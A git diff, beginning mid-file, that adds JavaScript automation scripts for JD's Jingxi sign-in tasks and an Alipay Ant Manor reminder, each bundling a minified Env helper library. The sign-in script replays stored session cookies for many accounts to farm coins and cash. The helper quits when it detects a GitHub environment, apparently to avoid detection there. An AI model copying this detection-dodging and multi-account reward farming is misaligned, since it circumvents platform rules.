r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jx_sign.js b/activity/jx_sign.js new file mode 100644 index 0000000..69db78a --- /dev/null +++ b/activity/jx_sign.js @@ -0,0 +1,315 @@ +/* +京喜签到 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜签到 +5 0 * * * jx_sign.js, tag=京喜签到, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "5 0 * * *" script-path=jx_sign.js,tag=京喜签到 + +===============Surge================= +京喜签到 = type=cron,cronexp="5 0 * * *",wake-system=1,timeout=3600,script-path=jx_sign.js + +============小火箭========= +京喜签到 = type=cron,script-path=jx_sign.js, cronexpr="5 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京喜签到'); +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let helpAuthor = true +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://m.jingxi.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.newShareCodes = [] + // await getAuthorShareCode(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdCash() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdCash() { + $.coins = 0 + $.money = 0 + await sign() + await getTaskList() + await doubleSign() + await showMsg() +} +function sign() { + return new Promise((resolve) => { + $.get(taskUrl("pgcenter/sign/UserSignOpr"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + if(data.data.signStatus===0){ + console.log(`签到成功,获得${data.data.pingoujin}金币,已签到${data.data.signDays}天`) + $.coins += parseInt(data.data.pingoujin) + }else{ + console.log(`今日已签到`) + } + }else{ + console.log(`签到失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getTaskList() { + return new Promise((resolve) => { + $.get(taskUrl("pgcenter/task/QueryPgTaskCfgByType","taskType=3"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + for (task of data.data.tasks) { + if(task.taskState===1){ + console.log(`去做${task.taskName}任务`) + await doTask(task.taskId); + await $.wait(1000) + await finishTask(task.taskId); + await $.wait(1000) + } + } + }else{ + console.log(`签到失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doTask(id) { + return new Promise((resolve) => { + $.get(taskUrl("pgcenter/task/drawUserTask",`taskid=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + console.log(`任务领取成功`) + }else{ + console.log(`任务完成失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function finishTask(id) { + return new Promise((resolve) => { + $.get(taskUrl("pgcenter/task/UserTaskFinish",`taskid=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + console.log(`任务完成成功,获得金币${data.datas[0]['pingouJin']}`) + $.coins += data.datas[0]['pingouJin'] + }else{ + console.log(`任务完成失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doubleSign() { + return new Promise((resolve) => { + $.get(taskUrl("double_sign/IssueReward",), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + console.log(`双签成功,获得金币${data.data.jd_amount / 100}元`) + $.money += data.data.jd_amount / 100 + }else{ + console.log(`任务完成失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function showMsg() { + message+=`本次运行获得金币${$.coins},现金${$.money}` + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function taskUrl(functionId, body = '') { + return { + url: `${JD_API_HOST}${functionId}?sceneval=2&g_login_type=1&g_ty=ls&${body}`, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': 'https://jddx.jd.com/m/jddnew/money/index.html', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/.DS_Store b/backUp/.DS_Store new file mode 100644 index 0000000..2590516 Binary files /dev/null and b/backUp/.DS_Store differ diff --git a/backUp/AlipayManor.js b/backUp/AlipayManor.js new file mode 100644 index 0000000..70efa1b --- /dev/null +++ b/backUp/AlipayManor.js @@ -0,0 +1,14 @@ +// qx 及 loon 可用。 +// 半自动提醒支付宝蚂蚁庄园喂食。 +// 15 */4 * * * AlipayManor.js +// 自用 Modified from zZPiglet + +const $ = new Env('蚂蚁庄园'); +const manor = "alipays://platformapi/startapp?appId=66666674"; + +$.msg("支付宝", "蚂蚁庄园喂食啦", "alipays://platformapi/startapp?appId=66666674", manor); + +$.done() + +// prettier-ignore +function Env(t,s){return new class{constructor(t,s){this.name=t,this.data=null,this.dataFile="box.dat",this.logs=[],this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,s),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}getScript(t){return new Promise(s=>{$.get({url:t},(t,e,i)=>s(i))})}runScript(t,s){return new Promise(e=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=s&&s.timeout?s.timeout:o;const[h,a]=i.split("@"),r={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":h,Accept:"*/*"}};$.post(r,(t,s,i)=>e(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s);if(!e&&!i)return{};{const i=e?t:s;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s),o=JSON.stringify(this.data);e?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(s,o):this.fs.writeFileSync(t,o)}}lodash_get(t,s,e){const i=s.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return e;return o}lodash_set(t,s,e){return Object(t)!==t?t:(Array.isArray(s)||(s=s.toString().match(/[^.[\]]+/g)||[]),s.slice(0,-1).reduce((t,e,i)=>Object(t[e])===t[e]?t[e]:t[e]=Math.abs(s[i+1])>>0==+s[i+1]?[]:{},t)[s[s.length-1]]=e,t)}getdata(t){let s=this.getval(t);if(/^@/.test(t)){const[,e,i]=/^@(.*?)\.(.*?)$/.exec(t),o=e?this.getval(e):"";if(o)try{const t=JSON.parse(o);s=t?this.lodash_get(t,i,""):s}catch(t){s=""}}return s}setdata(t,s){let e=!1;if(/^@/.test(s)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(s),h=this.getval(i),a=i?"null"===h?null:h||"{}":"{}";try{const s=JSON.parse(a);this.lodash_set(s,o,t),e=this.setval(JSON.stringify(s),i)}catch(s){const h={};this.lodash_set(h,o,t),e=this.setval(JSON.stringify(h),i)}}else e=$.setval(t,s);return e}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,s){return this.isSurge()||this.isLoon()?$persistentStore.write(t,s):this.isQuanX()?$prefs.setValueForKey(t,s):this.isNode()?(this.data=this.loaddata(),this.data[s]=t,this.writedata(),!0):this.data&&this.data[s]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,s=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?$httpClient.get(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)}):this.isQuanX()?$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,s)=>{try{const e=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(e,null),s.cookieJar=this.ckjar}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)))}post(t,s=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),delete t.headers["Content-Length"],this.isSurge()||this.isLoon())$httpClient.post(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)});else 